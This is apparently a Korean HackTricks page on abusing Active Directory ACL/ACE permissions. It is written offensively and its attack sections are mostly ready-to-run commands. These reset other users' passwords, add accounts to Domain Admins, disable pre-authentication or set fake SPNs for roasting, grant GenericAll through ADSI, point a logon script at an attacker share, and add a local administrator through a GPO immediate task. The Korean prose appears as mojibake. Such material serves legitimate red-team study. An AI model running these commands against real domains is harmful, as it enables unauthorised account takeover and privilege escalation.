Active Directory ACLs/ACEs ๋‚จ์šฉ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” ์ฃผ๋กœ ๋‹ค์Œ ๊ธฐ๋ฒ•๋“ค์˜ ์š”์•ฝ์ž…๋‹ˆ๋‹ค https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces ๋ฐ https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์›๋ฌธ ๊ธฐ์‚ฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

BadSuccessor

BadSuccessor

GenericAll (์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ๊ถŒํ•œ)

์ด ๊ถŒํ•œ์€ ๊ณต๊ฒฉ์ž์—๊ฒŒ ๋Œ€์ƒ ์‚ฌ์šฉ์ž ๊ณ„์ •์— ๋Œ€ํ•œ ์ „์ฒด ์ œ์–ด ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. Get-ObjectAcl ๋ช…๋ น์œผ๋กœ GenericAll ๊ถŒํ•œ์ด ํ™•์ธ๋˜๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ๋Œ€์ƒ ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ: net user <username> <password> /domain๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์žฌ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Linux์—์„œ๋Š” SAMR์„ ํ†ตํ•ด Samba์˜ net rpc๋กœ ๋™์ผํ•œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
# Reset target user's password over SAMR from Linux
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
  • ๊ณ„์ •์ด ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, UAC ํ”Œ๋ž˜๊ทธ๋ฅผ ์ง€์šฐ์„ธ์š”: GenericAll์€ userAccountControl์„ ํŽธ์ง‘ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. Linux์—์„œ BloodyAD๋Š” ACCOUNTDISABLE ํ”Œ๋ž˜๊ทธ๋ฅผ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
  • Targeted Kerberoasting: ์‚ฌ์šฉ์ž ๊ณ„์ •์— SPN์„ ํ• ๋‹นํ•˜์—ฌ kerberoastable ์ƒํƒœ๋กœ ๋งŒ๋“  ๋‹ค์Œ, Rubeus์™€ targetedKerberoast.py๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ticket-granting ticket (TGT) hashes๋ฅผ ์ถ”์ถœํ•˜๊ณ  crack์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
  • Targeted ASREPRoasting: ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด pre-authentication์„ ๋น„ํ™œ์„ฑํ™”ํ•˜์—ฌ ํ•ด๋‹น ๊ณ„์ •์„ ASREPRoasting์— ์ทจ์•ฝํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
  • Shadow Credentials / Key Credential Link: ์‚ฌ์šฉ์ž์— ๋Œ€ํ•ด GenericAll ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ์ธ์ฆ์„œ ๊ธฐ๋ฐ˜ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ถ”๊ฐ€ํ•˜๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๊ณ ๋„ ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ ์ธ์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ฐธ์กฐ:

Shadow Credentials

GenericAll Rights on Group

์ด ๊ถŒํ•œ์€ Domain Admins์™€ ๊ฐ™์€ ๊ทธ๋ฃน์— ๋Œ€ํ•ด GenericAll ๊ถŒํ•œ์„ ๊ฐ€์ง„ attacker๊ฐ€ ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. Get-NetGroup์œผ๋กœ ๊ทธ๋ฃน์˜ distinguished name์„ ์‹๋ณ„ํ•œ ํ›„, attacker๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Add Themselves to the Domain Admins Group: ์ด ์ž‘์—…์€ ์ง์ ‘ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ Active Directory ๋˜๋Š” PowerSploit์™€ ๊ฐ™์€ ๋ชจ๋“ˆ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
  • Linux์—์„œ ๋˜ํ•œ BloodyAD๋ฅผ ํ™œ์šฉํ•˜์—ฌ ํ•ด๋‹น ๊ทธ๋ฃน์— ๋Œ€ํ•ด GenericAll/Write ๋ฉค๋ฒ„์‹ญ์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ์œผ๋ฉด ์ž„์˜์˜ ๊ทธ๋ฃน์— ์ž์‹ ์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋Œ€์ƒ ๊ทธ๋ฃน์ด โ€œRemote Management Usersโ€์— ์ค‘์ฒฉ๋˜์–ด ์žˆ์œผ๋ฉด, ํ•ด๋‹น ๊ทธ๋ฃน์„ ์กด์ค‘ํ•˜๋Š” ํ˜ธ์ŠคํŠธ์—์„œ ์ฆ‰์‹œ WinRM ์•ก์„ธ์Šค๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค:
# Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>

# If the target group is member of "Remote Management Users", WinRM becomes available
netexec winrm <dc-fqdn> -u <user> -p '<pass>'

GenericAll / GenericWrite / Write on Computer/User

์ปดํ“จํ„ฐ ๊ฐ์ฒด ๋˜๋Š” ์‚ฌ์šฉ์ž ๊ณ„์ •์— ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Kerberos Resource-based Constrained Delegation: ์ปดํ“จํ„ฐ ๊ฐ์ฒด๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Shadow Credentials: ์ด ๊ถŒํ•œ์„ ์•…์šฉํ•ด shadow credentials๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ปดํ“จํ„ฐ๋‚˜ ์‚ฌ์šฉ์ž ๊ณ„์ •์„ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

WriteProperty on Group

์‚ฌ์šฉ์ž๊ฐ€ ํŠน์ • ๊ทธ๋ฃน(์˜ˆ: Domain Admins)์˜ ๋ชจ๋“  ๊ฐ์ฒด์— ๋Œ€ํ•ด WriteProperty ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • Add Themselves to the Domain Admins Group: net user์™€ Add-NetGroupUser ๋ช…๋ น์„ ๊ฒฐํ•ฉํ•ด ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ๋ฐฉ๋ฒ•์€ ๋„๋ฉ”์ธ ๋‚ด์—์„œ privilege escalation์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

Self (Self-Membership) on Group

์ด ๊ถŒํ•œ์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ๊ทธ๋ฃน ๊ตฌ์„ฑ์›์„ ์ง์ ‘ ์กฐ์ž‘ํ•˜๋Š” ๋ช…๋ น์–ด๋กœ ์ž์‹ ์„ ํŠน์ • ๊ทธ๋ฃน(์˜ˆ: Domain Admins)์— ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์–ด ์‹œํ€€์Šค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์ž์‹ ์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty (Self-Membership)

์œ ์‚ฌํ•œ ๊ถŒํ•œ์œผ๋กœ, ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ๊ทธ๋ฃน์— ๋Œ€ํ•ด WriteProperty ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ๊ทธ๋ฃน ์†์„ฑ์„ ์ˆ˜์ •ํ•˜์—ฌ ์ž์‹ ์„ ์ง์ ‘ ๊ทธ๋ฃน์— ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ถŒํ•œ์˜ ํ™•์ธ๊ณผ ์‹คํ–‰์€ ๋‹ค์Œ์„ ํ†ตํ•ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค:

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain

ForceChangePassword

User-Force-Change-Password์— ๋Œ€ํ•œ ExtendedRight ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๋ฉด ํ˜„์žฌ ์•”ํ˜ธ๋ฅผ ์•Œ์ง€ ๋ชปํ•ด๋„ ์•”ํ˜ธ๋ฅผ ์žฌ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ถŒํ•œ์˜ ํ™•์ธ๊ณผ ์•…์šฉ์€ PowerShell ๋˜๋Š” ๊ธฐํƒ€ ๋ช…๋ น์ค„ ๋„๊ตฌ๋ฅผ ํ†ตํ•ด ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋Œ€ํ™”ํ˜• ์„ธ์…˜๋ฟ ์•„๋‹ˆ๋ผ ๋น„๋Œ€ํ™”ํ˜• ํ™˜๊ฒฝ์„ ์œ„ํ•œ ํ•œ ์ค„ ๋ช…๋ น(one-liners) ๋“ฑ ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์œผ๋กœ ์‚ฌ์šฉ์ž์˜ ์•”ํ˜ธ๋ฅผ ์žฌ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ช…๋ น์€ ๊ฐ„๋‹จํ•œ PowerShell ํ˜ธ์ถœ์—์„œ Linux์˜ rpcclient ์‚ฌ์šฉ์— ์ด๋ฅด๊ธฐ๊นŒ์ง€ ๋‹ค์–‘ํ•˜์—ฌ ๊ณต๊ฒฉ ๋ฒกํ„ฐ์˜ ๋‹ค์žฌ๋‹ค๋Šฅํ•จ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

WriteOwner on Group

๊ณต๊ฒฉ์ž๊ฐ€ ๊ทธ๋ฃน์— ๋Œ€ํ•ด WriteOwner ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ๊ฒŒ ๋˜๋ฉด, ํ•ด๋‹น ๊ทธ๋ฃน์˜ ์†Œ์œ ๊ถŒ์„ ์ž์‹ ์œผ๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Š” ํ•ด๋‹น ๊ทธ๋ฃน์ด Domain Admins์ธ ๊ฒฝ์šฐ ํŠนํžˆ ์˜ํ–ฅ์ด ํฌ๋ฉฐ, ์†Œ์œ ๊ถŒ ๋ณ€๊ฒฝ์„ ํ†ตํ•ด ๊ทธ๋ฃน ์†์„ฑ๊ณผ ๊ตฌ์„ฑ์›์— ๋Œ€ํ•œ ๋” ๊ด‘๋ฒ”์œ„ํ•œ ์ œ์–ด๊ฐ€ ๊ฐ€๋Šฅํ•ด์ง„๋‹ค. ์ด ๊ณผ์ •์€ Get-ObjectAcl์„ ํ†ตํ•ด ์˜ฌ๋ฐ”๋ฅธ ๊ฐ์ฒด๋ฅผ ์‹๋ณ„ํ•œ ๋‹ค์Œ Set-DomainObjectOwner๋ฅผ ์‚ฌ์šฉํ•ด ์†Œ์œ ์ž๋ฅผ SID ๋˜๋Š” ์ด๋ฆ„์œผ๋กœ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•œ๋‹ค.

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

GenericWrite on User

์ด ๊ถŒํ•œ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž ์†์„ฑ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ตฌ์ฒด์ ์œผ๋กœ, GenericWrite ์•ก์„ธ์Šค๋กœ ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์˜จ ์Šคํฌ๋ฆฝํŠธ ๊ฒฝ๋กœ๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์˜จํ•  ๋•Œ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” Set-ADObject ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์ƒ ์‚ฌ์šฉ์ž์˜ scriptpath ์†์„ฑ์„ ๊ณต๊ฒฉ์ž์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์—…๋ฐ์ดํŠธํ•จ์œผ๋กœ์จ ๋‹ฌ์„ฑ๋ฉ๋‹ˆ๋‹ค.

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

GenericWrite on Group

์ด ๊ถŒํ•œ์„ ์ด์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์˜ˆ๋ฅผ ๋“ค์–ด ์ž์‹ ์ด๋‚˜ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋ฅผ ํŠน์ • ๊ทธ๋ฃน์— ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ ˆ์ฐจ๋Š” ์ž๊ฒฉ ์ฆ๋ช… ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ์ด๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž๋ฅผ ๊ทธ๋ฃน์— ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ ์ œ๊ฑฐํ•˜๋ฉฐ, PowerShell ๋ช…๋ น์œผ๋กœ ๋ฉค๋ฒ„์‹ญ ๋ณ€๊ฒฝ์„ ํ™•์ธํ•˜๋Š” ๊ณผ์ •์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
  • Linux์—์„œ, Samba net์€ ๊ทธ๋ฃน์— ๋Œ€ํ•ด GenericWrite ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ์œผ๋ฉด ๋ฉค๋ฒ„๋ฅผ ์ถ”๊ฐ€/์‚ญ์ œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (PowerShell/RSAT๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์„ ๋•Œ ์œ ์šฉ):
# Add yourself to the target group via SAMR
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
# Verify current members
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>

WriteDACL + WriteOwner

AD ๊ฐ์ฒด๋ฅผ ์†Œ์œ ํ•˜๊ณ  WriteDACL ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฉด ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ๊ฐ์ฒด์— ๋Œ€ํ•ด ์Šค์Šค๋กœ GenericAll ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ ADSI ์กฐ์ž‘์„ ํ†ตํ•ด ์ˆ˜ํ–‰๋˜๋ฉฐ, ๊ฐ์ฒด์— ๋Œ€ํ•œ ์™„์ „ํ•œ ์ œ์–ด์™€ ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  Active Directory ๋ชจ๋“ˆ์˜ Set-Acl / Get-Acl cmdlets๋ฅผ ์‚ฌ์šฉํ•ด ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ์•…์šฉํ•˜๋ ค๊ณ  ํ•  ๋•Œ์—๋Š” ์ œํ•œ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

WriteDACL/WriteOwner ๋น ๋ฅธ ํƒˆ์ทจ (PowerView)

์‚ฌ์šฉ์ž ๋˜๋Š” ์„œ๋น„์Šค ๊ณ„์ •์— ๋Œ€ํ•ด WriteOwner ๋ฐ WriteDacl ๊ถŒํ•œ์ด ์žˆ์„ ๋•Œ, ๊ธฐ์กด password๋ฅผ ์•Œ์ง€ ๋ชปํ•ด๋„ PowerView๋ฅผ ์‚ฌ์šฉํ•ด ๊ณ„์ •์„ ์™„์ „ํžˆ ์ œ์–ดํ•˜๊ณ  password๋ฅผ ์žฌ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Load PowerView
. .\PowerView.ps1

# Grant yourself full control over the target object (adds GenericAll in the DACL)
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose

# Set a new password for the target principal
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose

์ฐธ๊ณ :

  • WriteOwner๋งŒ ์žˆ๋Š” ๊ฒฝ์šฐ ๋จผ์ € ์†Œ์œ ์ž๋ฅผ ์ž์‹ ์œผ๋กœ ๋ณ€๊ฒฝํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
  • ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ • ํ›„ SMB/LDAP/RDP/WinRM ๋“ฑ ์–ด๋–ค ํ”„๋กœํ† ์ฝœ๋กœ๋„ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•œ์ง€ ๊ฒ€์ฆํ•˜์„ธ์š”.

Replication on the Domain (DCSync)

DCSync ๊ณต๊ฒฉ์€ ๋„๋ฉ”์ธ์—์„œ ํŠน์ • ๋ณต์ œ ๊ถŒํ•œ์„ ์ด์šฉํ•ด ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ํ‰๋‚ด ๋‚ด๊ณ  ์‚ฌ์šฉ์ž ์ž๊ฒฉ ์ฆ๋ช…์„ ํฌํ•จํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋™๊ธฐํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ•๋ ฅํ•œ ๊ธฐ๋ฒ•์€ DS-Replication-Get-Changes์™€ ๊ฐ™์€ ๊ถŒํ•œ์„ ํ•„์š”๋กœ ํ•˜๋ฉฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ์ง์ ‘ ์ ‘๊ทผํ•˜์ง€ ์•Š๊ณ ๋„ AD ํ™˜๊ฒฝ์—์„œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. Learn more about the DCSync attack here.

GPO Delegation

GPO Delegation

Group Policy Objects (GPOs) ๊ด€๋ฆฌ๋ฅผ ์œ„์ž„๋œ ์ ‘๊ทผ์€ ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด offense\spotless ๊ฐ™์€ ์‚ฌ์šฉ์ž๊ฐ€ GPO ๊ด€๋ฆฌ ๊ถŒํ•œ์„ ์œ„์ž„๋ฐ›์œผ๋ฉด WriteProperty, WriteDacl, WriteOwner ๊ฐ™์€ ๊ถŒํ•œ์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ PowerView๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹๋ณ„๋œ ๊ฒƒ์ฒ˜๋Ÿผ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

Enumerate GPO Permissions

GPO๊ฐ€ ์ž˜๋ชป ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋Š”์ง€ ์‹๋ณ„ํ•˜๋ ค๋ฉด PowerSploit์˜ cmdlets๋ฅผ ์—ฐ๊ณ„ํ•ด์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ํŠน์ • ์‚ฌ์šฉ์ž๊ฐ€ ๊ด€๋ฆฌ ๊ถŒํ•œ์„ ๊ฐ€์ง„ GPO๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

์ง€์ •๋œ ์ •์ฑ…์ด ์ ์šฉ๋œ ์ปดํ“จํ„ฐ: ํŠน์ • GPO๊ฐ€ ์ ์šฉ๋˜๋Š” ์ปดํ“จํ„ฐ๋ฅผ ํ™•์ธํ•˜๋ฉด ์ž ์žฌ์  ์˜ํ–ฅ์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

ํŠน์ • ์ปดํ“จํ„ฐ์— ์ ์šฉ๋œ ์ •์ฑ…: ํŠน์ • ์ปดํ“จํ„ฐ์— ์–ด๋–ค ์ •์ฑ…์ด ์ ์šฉ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด Get-DomainGPO ๊ฐ™์€ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ง€์ •๋œ ์ •์ฑ…์ด ์ ์šฉ๋œ OU: ํŠน์ • ์ •์ฑ…์˜ ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์กฐ์ง ๋‹จ์œ„(OU)๋ฅผ ์‹๋ณ„ํ•˜๋ ค๋ฉด Get-DomainOU๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ ๋„๊ตฌ GPOHound๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ GPO๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ๋ฌธ์ œ๋ฅผ ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Abuse GPO - New-GPOImmediateTask

์ž˜๋ชป ๊ตฌ์„ฑ๋œ GPO๋Š” ์ฆ‰์‹œ ์‹คํ–‰๋˜๋Š” scheduled task๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋“ฑ ์ฝ”๋“œ ์‹คํ–‰์„ ์œ„ํ•ด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์ปดํ“จํ„ฐ์—์„œ ๋กœ์ปฌ Administrators ๊ทธ๋ฃน์— ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ๊ถŒํ•œ์„ ํฌ๊ฒŒ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

GroupPolicy module - Abuse GPO

